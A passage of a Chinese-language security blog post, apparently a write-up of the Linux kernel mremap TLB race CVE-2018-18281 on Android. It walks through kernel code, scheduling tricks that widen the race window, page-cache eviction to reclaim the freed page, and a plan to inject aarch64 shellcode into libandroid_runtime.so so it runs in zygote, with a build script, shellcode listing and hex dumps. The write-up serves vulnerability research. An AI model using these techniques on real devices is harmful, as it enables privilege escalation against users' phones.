class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1107</span> <span class="function"><span class="keyword">static</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="title">zap_pte_range</span><span class="params">(struct mmu_gather *tlb,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="number">1108</span> struct vm_area_struct *vma, <span class="keyword">pmd_t</span> *pmd,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="number">1109</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> addr, <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="built_in">end</span>,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="number">1110</span> struct zap_details *details)</span></span></span><br><span class="line"><span class="function">1111 </span>{ </span><br><span class="line"><span class="number">1112</span> <span class="class"><span class="keyword">struct</span> <span class="title">mm_struct</span> *<span class="title">mm</span> = <span class="title">tlb</span>-><span class="title">mm</span>;</span></span><br><span class="line"><span class="number">1113</span> <span class="keyword">int</span> force_flush = <span class="number">0</span>;</span><br><span class="line"><span class="number">1114</span> <span class="keyword">int</span> rss[NR_MM_COUNTERS];</span><br><span class="line"><span class="number">1115</span> <span class="keyword">spinlock_t</span> *ptl;</span><br><span class="line"><span class="number">1116</span> <span class="keyword">pte_t</span> *start_pte;</span><br><span class="line"><span class="number">1117</span> <span class="keyword">pte_t</span> *pte;</span><br><span class="line"><span class="number">1118</span> <span class="keyword">swp_entry_t</span> entry;</span><br><span class="line"><span class="number">1119</span> </span><br><span class="line"><span class="number">1120</span> again:</span><br><span class="line"><span class="number">1121</span> init_rss_vec(rss);</span><br><span class="line"><span class="number">1122</span> start_pte = pte_offset_map_lock(mm, pmd, addr, &ptl);</span><br><span class="line"><span class="number">1123</span> pte = start_pte;</span><br><span class="line"><span class="number">1124</span> flush_tlb_batched_pending(mm);</span><br><span class="line"><span class="number">1125</span> arch_enter_lazy_mmu_mode();</span><br><span class="line"><span class="number">1126</span> <span class="keyword">do</span> {</span><br><span class="line"><span class="number">1127</span> <span class="keyword">pte_t</span> ptent = *pte;</span><br><span class="line">========================== skip ==========================</span><br><span class="line"><span class="number">1146</span> ptent = ptep_get_and_clear_full(mm, addr, pte,</span><br><span class="line"><span class="number">1147</span> tlb->fullmm);</span><br><span class="line"><span class="number">1148</span> tlb_remove_tlb_entry(tlb, pte, addr);</span><br><span class="line">========================== skip ==========================</span><br><span class="line"><span class="number">1176</span> entry = pte_to_swp_entry(ptent);</span><br><span class="line">========================== skip ==========================</span><br><span class="line"><span class="number">1185</span> <span class="keyword">if</span> (unlikely(!free_swap_and_cache(entry)))</span><br><span class="line"><span class="number">1186</span> print_bad_pte(vma, addr, ptent, <span class="literal">NULL</span>);</span><br><span class="line"><span class="number">1187</span> pte_clear_not_present_full(mm, addr, pte, tlb->fullmm);</span><br><span class="line"><span class="number">1188</span> } <span class="keyword">while</span> (pte++, addr += PAGE_SIZE, addr != <span class="built_in">end</span>);</span><br><span class="line"><span class="number">1189</span> </span><br><span class="line"><span class="number">1190</span> add_mm_rss_vec(mm, rss);</span><br><span class="line"><span class="number">1191</span> arch_leave_lazy_mmu_mode();</span><br><span class="line"><span class="number">1192</span> </span><br><span class="line"><span class="number">1193</span> <span class="comment">/* Do the actual TLB flush before dropping ptl */</span></span><br><span class="line"><span class="number">1194</span> <span class="keyword">if</span> (force_flush)</span><br><span class="line"><span class="number">1195</span> tlb_flush_mmu_tlbonly(tlb);</span><br><span class="line"><span class="number">1196</span> pte_unmap_unlock(start_pte, ptl);</span><br><span class="line">========================== skip ==========================</span><br><span class="line"><span class="number">1212</span> <span class="keyword">return</span> addr;</span><br><span class="line"><span class="number">1213</span> }</span><br></pre></td></tr></table></figure><p>结合上面代码, 有三点需要注意, </p><ul><li>锁, 1122 行获取了 pmd 的锁, 1196 行释放了 pmd 的锁, 这里的 pmd 锁跟 move_ptes 函数里的是同一个东西</li><li>pte, 1146 行清空了页表项</li><li>page, 1185 行调用函数 free_swap_and_cache 释放了 pte 对应的 page cache, 将物理页面释放, 这是与 move_ptes 不同的地方</li></ul><p>将上述两个函数的流程放到一起分析, 假设下面这种情况:</p><p>假设一个进程有 A,B,C 三个线程:</p><ul><li>1) A 映射一个文件 a 到地址 X, 映射条件为: PROT_READ , MAP_SHARED</li><li>2) C 循环读取 X 的内容</li><li>3) A 调用 mremap 重新映射 X 到 Y, 这个调用会执行下面两个函数:<ul><li>3.1) move_ptes , 该函数做如下操作:<ul><li>3.1.1) 获取 X 页表和 Y 页表的锁</li><li>3.1.2) 遍历 X 对应页表的 pte , 释放之, 并在 Y 页表重建这些 pte </li><li>3.1.3) 释放 Y 页表的锁</li><li>3.1.4) 释放 X 页表的锁</li></ul></li><li>3.2) flush_tlb_range : 刷新 X 对应的 TLB 缓存 </li></ul></li><li>4) B 调用 ftruncate 将文件 a 的文件大小改为 0, 这个调用会执行下面操作:<ul><li>4.1) 获取 Y 页表的锁</li><li>4.2) 删除 Y 对应的页表</li><li>4.3) 释放 Y 对应的 pages</li><li>4.4) 刷新 Y 对应的 TLB 缓存</li></ul></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">说明: </span><br><span class="line"></span><br><span class="line">实际上 X 和 Y 是两块内存区域, 也就是说可能比一个 pmd 所容纳的地址范围大, </span><br><span class="line">不管是 mremap 还是 ftruncate, 底层实现会将 X 和 Y 按照 pmd 为单位循环执行上表的操作, </span><br><span class="line">即上表所说的 X 页表实际指的是 X 内存区域里的某个 pmd, 这里是为了表达方便简化处理, </span><br><span class="line">下面的描述也是一样.</span><br></pre></td></tr></table></figure><p>这里存在的竞态条件是当 4.3 已经执行完毕 (3.1.3 释放 Y 锁 4.1 就可以执行), 地址 Y 的内存已经释放, 物理页面已经返回给 <a href="https://en.wikipedia.org/wiki/Buddy_memory_allocation" target="_blank" rel="noopener">伙伴系统</a> , 并再一次分配给新的虚拟内存, 而此时 3.2 还没有执行, 这种情况下, 虽然 X 的映射关系在页表里已经被清空, 但在 TLB 缓存里没有被清空, 线程 C 依然可以访问 X 的内存, 造成地址复用</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">注意:</span><br><span class="line"></span><br><span class="line">除了可以用 ftruncate 函数来跟 mremap 竞争, 还有一个 linux 系统特有的</span><br><span class="line">系统函数 fallocate 也可以起到同样的效果, 原因很简单, </span><br><span class="line">fallocate 和 ftruncate 的底层调用链是一样的</span><br><span class="line"></span><br><span class="line">sys_fallocate()->shmem_fallocate()->shmem_truncate_range()</span><br><span class="line">->shmem_undo_range()->truncate_inode_page()->unmap_mapping_range</span><br></pre></td></tr></table></figure><p>v4.9 之前的内核都是上述列表显示的代码逻辑</p><p>v4.9 之后的内核, move_ptes 的逻辑与上述有些许不同 </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">注意:</span><br><span class="line"></span><br><span class="line">在 versions > 4.9 的 linux 内核, Dirty 标记的页面会在 move_ptes 函数内部刷新 TLB , </span><br><span class="line">而不是等到 3.2 由 flush_tlb_range 函数去刷新, 因此, race 发生之后, </span><br><span class="line">线程 C 能通过 X 访问到的内存都是之前 non-Dirty 的页面, 即被写过的页面都无法复用. </span><br><span class="line"></span><br><span class="line">这点改变会对 poc 和 exploit 造成什么影响? 留给大家思考.</span><br></pre></td></tr></table></figure><h2 id="简单版的-poc"><a href="#简单版的-poc" class="headerlink" title="简单版的 poc"></a>简单版的 poc</h2><p>根据上述分析, 一个简单的 poc 思路就出来了, 通过不断检测线程 C 从地址 X 读取的内容是不是初始内容就可以判断 race 是否被触发, 正常情况下, C 读取 X 只会有两种结果, 一种是 mremap 彻底完成, 即 3.2 执行完毕, 此时地址 X 为无效地址, C 的读操作引发进程奔溃退出, 第二种是 mremap 还未完成, C 读取的地址返回的是 X 的初始内容, 只有这两种情况才符合 mremap 函数的定义. 但是由于漏洞的存在, 实际运行会存在第三种情况, 即 C 读取 X 不会奔溃(3.2 还没执行, 地址映射还有效), 但内容变了( 4.3 执行完毕, 物理页面已经被其他地方复用)</p><p><a href="https://github.com/jiayy/android_vuln_poc-exp/tree/master/CVE-2018-18281" target="_blank" rel="noopener">这份 poc</a> 可以清晰看出 race 是怎么发生的, 需要注意, 这份 poc 必须配合内核补丁才能稳定触发 race , 否则命中率非常低, 补丁通过在 move_page_tables 函数调用 flush_tlb_range 之前(即 3.2 之前)增加一个大循环来增大 race 条件的时间窗口以提高命中率</p><p>上述 poc 的运行结果是, 大部分情况下 poc 奔溃退出, 少数情况下读取 X 会返回一个被其他地方复用的页面</p><p>这离稳定提权还有很远的距离, 为了得到稳定利用, 至少有两个问题需要解决:</p><ul><li>如何提高 race 的命中率</li><li>怎么实现提权</li></ul><h2 id="如何提高-race-的命中率"><a href="#如何提高-race-的命中率" class="headerlink" title="如何提高 race 的命中率"></a>如何提高 race 的命中率</h2><p>要提高本漏洞 race 的命中率, 就是要增大 move_ptes 函数和 flush_tlb_range 函数之间的时间间隔</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">怎么才能增加这俩函数执行的时间间隔呢?</span><br></pre></td></tr></table></figure><p>这里要引入linux内核的 <a href="https://en.wikipedia.org/wiki/Linux_kernel#PREEMPTION" target="_blank" rel="noopener">进程抢占</a> 概念, 如果目标内核是可抢占的 (CONFIG_PREEMPT=y) , 则如果能让进程在执行 flush_tlb_range 函数之前被抢占, 那么 race 的时间窗口就够大了, 用户空间的普通程序能不能影响某个进程的调度策略呢? 答案是肯定的.</p><p>有两个系统函数可以影响进程的调度</p><ul><li><a href="http://man7.org/linux/man-pages/man2/sched_setaffinity.2.html" target="_blank" rel="noopener">sched_setaffinity</a> 函数用来绑定进程到某个 cpu core</li><li><a href="http://man7.org/linux/man-pages/man2/sched_setscheduler.2.html" target="_blank" rel="noopener">sched_setscheduler</a> 函数用来设置进程的调度策略和调度参数</li></ul><p>使用这两个函数将 poc 修改为下面的方案,</p><p>新建 A,B,C,D 四个线程:</p><ul><li>1) A 映射一个文件 a 到地址 X, A 绑定到核 c1, A 调度策略设置为 SCHED_IDLE </li><li>2) C 绑定到核 c1, C 阻塞在某个 pipe, pipe 返回则调用 ftruncate 将文件 a 的文件大小改为 0</li><li>3) A 调用 mremap 重新映射 X 到 Y, 这将执行下面两个函数:<ul><li>3.1) move_ptes</li><li>3.2) flush_tlb_range</li></ul></li><li>4) D 绑定到核 c2, 监控进程的内存映射情况,如果发生变化则通过写 pipe 唤醒 C</li><li>5) B 绑定到核 c3, 循环读取 X 的内容, 并判断是否还是初始值</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">注意:</span><br><span class="line"></span><br><span class="line">mremap 执行 move_ptes 函数会引发内存状态变化, 这种变化可以通过</span><br><span class="line">用户态文件 /proc/pid/status 文件获取, 这就是线程 D 的作用</span><br></pre></td></tr></table></figure><p>此时, 通过监控线程 D 唤醒 C, 由于A 和 C 绑定在同一个核心 c1, 且 A 的调度策略被设置<br>为最低优先级 SCHED_IDLE, C 的唤醒将抢占 A 的执行, 如此一来, 3.2 的执行就可能被延迟.<br>C 被唤醒后立即执行 ftruncate 释放 Y 的内存触发漏洞.</p><p>通过上述方案可以理论上让线程 A 在执行 3.1 后, 执行 3.2 前被挂起,<br>从而扩大 3.1 和 3.2 的时间间隔 </p><p><a href="https://github.com/jiayy/android_vuln_poc-exp/blob/master/CVE-2018-18281-Android/poc.old.c" target="_blank" rel="noopener">这个 poc</a> 是根据上述思路写的</p><h2 id="改进版的-poc"><a href="#改进版的-poc" class="headerlink" title="改进版的 poc"></a>改进版的 poc</h2><p>实测发现上述 poc 触发率还是低, 借鉴 Jann Horn 的思路, 继续如下修改 poc </p><p>改进版方案: 新建 A,B,C,D,E 五个线程:</p><ul><li>1) A 映射一个文件 a 到地址 X, A 绑定到核 c1, A 调度策略设置为 SCHED_IDLE </li><li>2) C 绑定到核 c1, C 阻塞在某个 pipe, pipe 返回则立即将 A 重新绑定到核 c4, 并调用 ftruncate 将文件 a 的文件大小改为 0</li><li>3) A 调用 mremap 重新映射 X 到 Y<ul><li>3.1) move_ptes</li><li>3.2) flush_tlb_range</li></ul></li><li>4) D 绑定到核 c2, 监控进程的内存映射情况,如果发生变化则通过写 pipe 唤醒 C</li><li>5) B 绑定到核 c3, 循环读取 X 的内容, 并判断是否还是初始值</li><li>6) E 绑定到核 c4, 执行一个死循环.</li></ul><p>改进的地方有两点, 1 是增加一个 E 线程绑定到核 c4 并执行死循环, 2 是线程 C 被唤醒后立刻重绑定线程 A 到核 c4, 即让 A 和 E 在同一个核上</p><p>这个改变会提高 race 触发的命中率, 个人判断原因是由于当 C 的管道返回后手动执行重绑定操作会比执行其他操作更容易导致 A 立即被挂起 </p><p><a href="https://github.com/jiayy/android_vuln_poc-exp/blob/master/CVE-2018-18281-Android/poc.c" target="_blank" rel="noopener">改进版 poc 代码</a> 是根据上述思路写的</p><p>利用这个 poc, 我们可以将这个漏洞的 race 命中率提升到可以接受的程度.</p><h2 id="物理页面管理"><a href="#物理页面管理" class="headerlink" title="物理页面管理"></a>物理页面管理</h2><p>现在我们可以在比较短的时间内稳定触发漏洞, 得到一片已经被释放的物理页面的使用权,<br>而且可读可写, 怎么利用这一点来提权?</p><p>这里需要了解物理内存的分配和释放细节, 物理内存管理属于<a href="https://en.wikipedia.org/wiki/Buddy_memory_allocation" target="_blank" rel="noopener">伙伴系统</a>, 参考 <a href="https://github.com/pjhades/tolarian-academy/blob/master/linux-mm.md" target="_blank" rel="noopener">内存管理</a></p><p>物理页面的管理是分层的:</p><ul><li>node: NUMA 体系架构有 node 的概念, 不同 node 的物理内存是分开管理的</li><li>zone: 根据物理内存的区域分若干种 zone, 不同场景会优先向不同的 zone 分配 , 比如用户空间申请内存, 会优先从 ZONE_NORMAL 这个 zone 分配, 如果不够再从其他 zone 分配<ul><li>ZONE_DMA</li><li>ZONE_NORMAL</li><li>ZONE_HIGHMEM</li><li>其他</li></ul></li><li>migration-type: 内核根据可迁移性对页面进行分组管理, 用于 anti-fragmentation, 可以参考 <a href="https://www.jeanleo.com/2018/09/06/%E3%80%90linux%E5%86%85%E5%AD%98%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90%E3%80%91%E9%A1%B5%E9%9D%A2%E8%BF%81%E7%A7%BB/" target="_blank" rel="noopener">内核页面迁移与反碎片机制</a> <ul><li>MIGRATE_UNMOVABLE</li><li>MIGRATE_RECLAIMABLE</li><li>MIGRATE_MOVABLE</li></ul></li></ul><p>__alloc_pages_nodemask 函数是 zoned buddy allocator 的分配入口, 它有快慢两条路径:</p><ul><li>get_page_from_freelist , 快路径<ul><li>1) if order == 0, 从 per-cpu 的指定 zone 指定 migratetype 的 cache list 里获取 page<ul><li>pcp = &this_cpu_ptr(zone->pageset)->pcp</li><li>list = &pcp->lists[migratetype]</li><li>page = list_entry(list->next, struct page, lru);</li></ul></li><li>2) __rmqueue_smallest : 在指定迁移类型下自底向上进行各阶遍历查找所需的空闲页面<ul><li>area = &zone->free_area[current_order]</li><li>list = &area->free_list[migratetype]</li><li>page = list_entry(list->next, struct page, lru);</li></ul></li><li>3) __rmqueue_cma, <a href="https://www.jeanleo.com/2018/09/07/%E3%80%90linux%E5%86%85%E5%AD%98%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90%E3%80%91%E8%BF%9E%E7%BB%AD%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D%E5%99%A8%EF%BC%88cma%EF%BC%89/" target="_blank" rel="noopener">连续内存分配器</a> 用于DMA映射框架下提升连续大块内存的申请</li><li>4) __rmqueue_fallback, 如果在指定迁移类型下分配失败,且类型不为MIGRATE_RESERVE时, 就在 fallbacks 数组里找到下一个 migratetype, 由此获得的阶号和迁移类型查找zone->free_area[]->free_list[]空闲页面管理链表</li></ul></li><li>__alloc_pages_slowpath, 慢路径<ul><li>略</li></ul></li></ul><p>从漏洞利用的角度, 我们希望将漏洞释放的物理页面尽可能快的被重新分配回来, 所以, 用来触发漏洞释放物理页面的场景和重新申请物理页面用来利用的场景, 这两种场景的 zone, migratetype 最好一致, 而且这两个场景的触发最好在同一个 cpu core 上.</p><p>比如, 触发漏洞时, 通过用户空间 mmap 一片地址, 然后访问这片地址触发物理内存分配, 这种分配大概率是从 ZONE_NORMAL 而来, 而且页面大概率是 MIGRATE_MOVABLE 的, 然后用 ftruncate 释放, 这些页面很可能会挂在当前 cpu 的 freelist 上. 所以, 漏洞利用的时候如果是在其他 cpu core 触发申请物理页面, 则可能申请不到目标页面, 或者, 触发申请物理页面的场景如果是某种 dma 设备, 那么也大概率命中不到目标页面.</p><h2 id="怎么实现提权"><a href="#怎么实现提权" class="headerlink" title="怎么实现提权"></a>怎么实现提权</h2><p>根据上述物理内存管理的分析, 选择使用文件的 page cache 用于重新申请目标物理页面, 在此基础上, 想办法实现提权</p><p>linux 上硬盘文件的内容在内核用 page cache 来维护, 如果漏洞触发后释放的页面被用于某个文件的 page cache, 则我们拥有了读写该文件的能力, 如果这个文件恰好是用户态的重要动态库文件, 正常情况下普通进程无法改写这种文件, 但通过漏洞普通进程可以改写它, 这样就可以通过修改动态库文件的代码段来提权.</p><p>上述利用思路的关键有3点:</p><ul><li>选择目标动态库文件</li><li>选择目标文件要改写的位置</li><li>提高目标位置所在页面的命中率</li></ul><p>这个动态库必须是能被高权限进程所使用<br>目标位置最好是页面对齐的, 这样目标位置可以以页面为单位加载进内存, 或者以页面为单位置换到硬盘<br>目标位置被调用的时机不能太频繁, 要不然修改操作会影响系统稳定性, 而且调用时机必须可以由普通进程触发</p><p>下面是一个符合上述条件的动态库和函数:</p><ul><li>libandroid_runtime.so 动态库</li><li>com_android_internal_os_Zygote_nativeForkAndSpecialize 函数<ul><li>这个函数被 zygote 调用, zygote 进程是一个特权进程</li><li>这个函数在 libandroid_runtime.so (pixel2 PQ1A.181105.017.A1) 文件的偏移是 0x157000, 这个偏移是页面对齐的</li><li>这个函数一般情况下不会被调用, 只有启动新的 app 时会被 zygote 调用, 可以由普通 app 触发 zygote 去执行</li></ul></li></ul><h2 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h2><p>漏洞触发 race 后, 让释放的物理页面刚好被用于目标页面( libandroid_runtime.so 文件的 offset = 0x157000 这个页面), 再可以通过 UAF 地址注入 shellcode 到目标位置, 从而改写 com_android_internal_os_Zygote_nativeForkAndSpecialize 函数的代码逻辑, 最后发消息触发 zygote 去执行 shellcode</p><p><span id="raise_pagecache_hit"></span></p><h2 id="如何提高文件-page-cache-命中率"><a href="#如何提高文件-page-cache-命中率" class="headerlink" title="如何提高文件 page cache 命中率"></a>如何提高文件 page cache 命中率</h2><p>这节解决的问题是, 怎么控制 race 释放的页面刚好能被目标页面使用</p><p><a href="https://arxiv.org/pdf/1710.00551.pdf" target="_blank" rel="noopener">这篇论文</a> 的 section VIII-B 介绍了一种算法用于精确控制一个 file page cache 的加载 </p><ul><li>1) 打开一个大文件 a, mmap 到内存 </li><li>2) 打开目标文件 b, mmap 到内存</li><li>3) 在一个循环内, 执行: <ul><li>3.1) 按照 pagesize 逐页面读取 a 的内容<pre><code>这会导致内核申请大量 page cache 来装载文件 a, </code></pre> 从而迫使其他文件的 page cache 被置换到硬盘</li><li>3.2) 判断目标页面 X 是否在内存里, 如果不是, 跳转到 4.1</li></ul></li><li>4) 在一个循环内, 执行:<ul><li>4.1) 按照 pagesize 逐页面读取 b 的内容, 但遇到目标页面 X 则跳过<pre><code>这会导致目标文件除目标页面 X 之外其他页面被重新装载回内存</code></pre></li><li>4.2) 判断目标页面 X 是否在内存里, 如果是, 跳转到 3.1</li></ul></li><li>5) 如果读取完全部 b 的内容, 目标页面 X 仍然没有在内存里, 结束.</li></ul><p>通过上述算法, 可以让一个目标文件的目标页面 X 被置换到硬盘, 而该文件其他页面保留在内存里, 这样在漏洞触发之后, 再来访问目标页面, 则很大机会会分配刚刚释放的物理页面给目标页面</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">注意:</span><br><span class="line"></span><br><span class="line">mincore 函数可以用来判断一个区域内的内存是在物理内存中或被交换出磁盘</span><br><span class="line">上述算法在 linux 的实现依赖于 mincore</span><br></pre></td></tr></table></figure><h2 id="exploit-code"><a href="#exploit-code" class="headerlink" title="exploit code"></a>exploit code</h2><p>我改了一份exploit 代码 <a href="https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2018-18281" target="_blank" rel="noopener">在这里</a>, 主要包含下面几个文件:</p><ul><li>compile.sh</li><li>shellcode.s</li><li>exp.c</li><li>watchdog.c</li></ul><h3 id="compile-sh"><a href="#compile-sh" class="headerlink" title="compile.sh"></a>compile.sh</h3><p>这是编译脚本</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">1) aarch64-linux-gnu-as arm_shellcode.s -o arm_shellcode.o </span><br><span class="line">2) aarch64-linux-gnu-ld arm_shellcode.o -o arm_shellcode </span><br><span class="line">3) aarch64-linux-gnu-objcopy --dump-section .text=arm_shellcode.bin arm_shellcode </span><br><span class="line">4) xxd -i arm_shellcode.bin > arm_shellcode.h </span><br><span class="line">5) make</span><br></pre></td></tr></table></figure><p>1~3 是将汇编文件 arm_shellcode.s 编译成二进制并将可执行文件的代码段 (.text) 提取到文件 arm_shellcode.bin </p><p>4 使用 linux 的 xxd 工具将 arm_shellcode.bin 放进一个 c 语言分格的数组,后续在 c 代码里以数组变量的形式操作它</p><p>5 根据 Android.mk 编译可执行文件</p><h2 id="shellcode-s"><a href="#shellcode-s" class="headerlink" title="shellcode.s"></a>shellcode.s</h2><p>下面简单看一下 shellcode.s 汇编,不感兴趣可以略过</p><ul><li><p>shellcode.s 本身很简单: 读取文件 “/proc/self/attr/current” ,然后将读取的内容作为参数调用 sethostname 函数,从而更改系统的 hostname</p></li><li><p>因为普通 app 没有权限调用系统函数 ‘sethostname’, 本 exploit 通过注入 shellcode.s 到 libandroid_runtime.so, 然后触发 zygote 进程执行 shellcode.s 达到越权执行的目的</p></li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// open file</span></span><br><span class="line">_start:</span><br><span class="line">mov x0, #<span class="number">-100</span></span><br><span class="line">adrp x1, _start</span><br><span class="line"><span class="comment">// <span class="doctag">NOTE:</span> We are changing the page-relative alignment of the shellcode, so normal</span></span><br><span class="line"><span class="comment">// aarch64 RIP-relative addressing doesn't work.</span></span><br><span class="line">add x1, x1, attr_path-file_start</span><br><span class="line">mov x2, #<span class="number">0</span></span><br><span class="line">mov x8, #<span class="number">0x38</span></span><br><span class="line">svc #<span class="number">0</span></span><br><span class="line"></span><br><span class="line">attr_path:</span><br><span class="line">.ascii <span class="string">"/proc/self/attr/current\0"</span></span><br></pre></td></tr></table></figure><p>第一段汇编作用是 open 文件 “/proc/self/attr/current”, #0x38 是系统调用号,对应系统调用 __NR_openat (系统调用号定义: include/uapi/asm-generic/unistd.h), 将 0x38 放入 x8 寄存器,svc #0 指令触发软中断,进入内核系统调用, 根据 openat 函数的定义, x1 寄存器存放要打开的文件路径的地址, x0 和 x2 这里忽略.</p><p>这段汇编执行后,x0寄存器存放返回值,即打开文件的 fd</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// read from file</span></span><br><span class="line">sub sp, sp, #<span class="number">128</span></span><br><span class="line">mov x1, sp</span><br><span class="line">mov x2, #<span class="number">128</span></span><br><span class="line">mov x8, #<span class="number">0x3f</span></span><br><span class="line">svc #<span class="number">0</span></span><br></pre></td></tr></table></figure><p>第二段汇编执行 read 系统调用,读取 128 字节放入栈, #0x3f 对应系统调用 read, x0 存放要读取文件的 fd, x1 是栈顶指针 sp, 在此之前,sp 被移动了#128 字节,相当于一个 128 字节的栈数组作为 buf传给 read 函数第二个参数, x2 是要读取的长度, 这里是 128</p><p>这段汇编执行后, sp 指向的位置存放文件 ‘/proc/self/attr/current’ 的内容</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// shove file contents into hostname</span></span><br><span class="line">mov x1, x0</span><br><span class="line">mov x0, sp</span><br><span class="line">mov x8, #<span class="number">0xa1</span></span><br><span class="line">svc #<span class="number">0</span></span><br></pre></td></tr></table></figure><p>第三段汇编执行 sethostname 系统调用, #0xa1 对应系统调用 sethostname, x0 即要更新的域名字符串, 这里放入 sp 指针, 即将上一步 read 函数读取的 buf 值作为 sethostname 的参数 name, x1 是长度, 这里值是上一步read 的返回值</p><p>这段汇编执行后, hostname 将被更新为文件 ‘/proc/self/attr/current’ 的内容</p><h2 id="watchdog-c"><a href="#watchdog-c" class="headerlink" title="watchdog.c"></a>watchdog.c</h2><p>这个文件的作用是不断调用 exp 可执行文件并监控 exploit 是否成功, 之所以需要这个主调程序是由于这个漏洞在触发的时候, 大部分情况会引发程序奔溃, 这时候需要一个看门狗程序不断重启它</p><h2 id="exp-c"><a href="#exp-c" class="headerlink" title="exp.c"></a>exp.c</h2><p>这个文件实现了 exploit 的主体功能</p><ul><li>kickout_victim_page 函数</li><li>idle_worker 线程</li><li>spinner 线程</li><li>nicer_spinner 线程</li><li>read_worker 线程</li><li>segv_handler 函数</li></ul><p>kickout_victim_page 函数实现了 <a href="#raise_pagecache_hit">如何提高文件 page cache 命中率</a> 的算法, 最开始执行</p><p>idle_worker 线程用于触发 mremap 调用, 先绑定到 c1, spinner 唤醒后重绑定 idle_worker 到 c3, 调度策略为 SCHED_IDLE , 其他线程都是普通调度策略</p><p>spinner 线程用于触发 fallocate (跟 ftruncate 效果类似) 调用, 绑定到 c2 </p><p>nicer_spinner 线程绑定到 c3, 用于抢占 idle_worker 的 cpu 使用权</p><p>read_worker 线程绑定到 c4, 用于监控目标内存, 一旦发现 race 成功触发, 则注入 shellcode 到目标内存</p><p>segv_handler 函数是段错误处理函数, 这里会再一次检测 shellcode 是否已经成功注入到目标文件, 如果是, 则通知 watchdog 停止重启 exp</p><p>执行 exploit 之前, libandroid_runtime.so 如下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">adb pull /system/lib64/libandroid_runtime.so</span><br><span class="line"></span><br><span class="line">root@jiayy:CVE-2018-18281<span class="comment"># xxd -s 0x157000 -l 100 libandroid_runtime.so </span></span><br><span class="line">00157000: 0871 0091 5f00 08eb c000 0054 e087 41a9 .q.._......T..A.</span><br><span class="line">00157010: e303 1f32 0800 40f9 0801 43f9 0001 3fd6 ...2..@...C...?.</span><br><span class="line">00157020: 2817 40f9 a983 5af8 1f01 09eb e110 0054 (.@...Z........T</span><br><span class="line">00157030: ff03 1191 fd7b 45a9 f44f 44a9 f657 43a9 .....{E..OD..WC.</span><br><span class="line">00157040: f85f 42a9 fa67 41a9 fc6f c6a8 c003 5fd6 ._B..gA..o...._.</span><br><span class="line">00157050: f801 00b0 d901 00b0 ba01 00f0 7b02 00f0 ............{...</span><br><span class="line">00157060: 9c01 0090</span><br></pre></td></tr></table></figure><p>执行 exploit 之后, libandroid_runtime.so 如下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span 